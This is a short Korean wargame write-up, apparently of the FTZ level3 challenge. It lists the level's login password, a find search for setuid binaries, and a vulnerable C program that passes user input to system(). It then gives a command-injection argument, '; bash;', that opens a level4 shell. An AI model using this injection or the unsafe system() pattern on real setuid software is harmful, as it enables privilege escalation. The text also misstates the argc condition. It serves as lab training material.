ID: level3
Password: can you fly?
find / -user level4 -perm -4000
/bin/autodig
파일을 실행해봐도 어떻게 해야 할지 감이 안 와서 힌트 파일을 열어봤다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
위의 코드를 해석해보면 argc가 2가 아닌 경우 "dig @argv[1] version.bind chaos txt"를 실행한다는 것을 알 수 있다. 여기서 argv[1]은 함수 실행 시 입력받은 인자값으로, 이 부분에 원하는 명령어를 집어넣어야 한다.
Linux 동시에 여러 명령어 사용하기
; 하나의 라인에 주어진 명령어들을 성공 여부에 관계 없이 전부 실행
&& 앞에서부터 순차적으로 실행하고 명령어 실행에 실패하면 그 다음 명령어들은 실행하지 않음
|| 앞에서부터 순차적으로 실행하고 명령어 실행에 성공하면 그 다음 명령어들은 실행하지 않음
문자열 형태로 명령어를 전달하려면 "명령어" 형식으로 입력한다.
위 힌트를 토대로 /bin/autodig를 실행할 때 쉘 실행 명령어를 인자로 주면
/bin/autodig "; bash;"

level4 권한을 얻고 비밀번호를 알아내는 데 성공했다!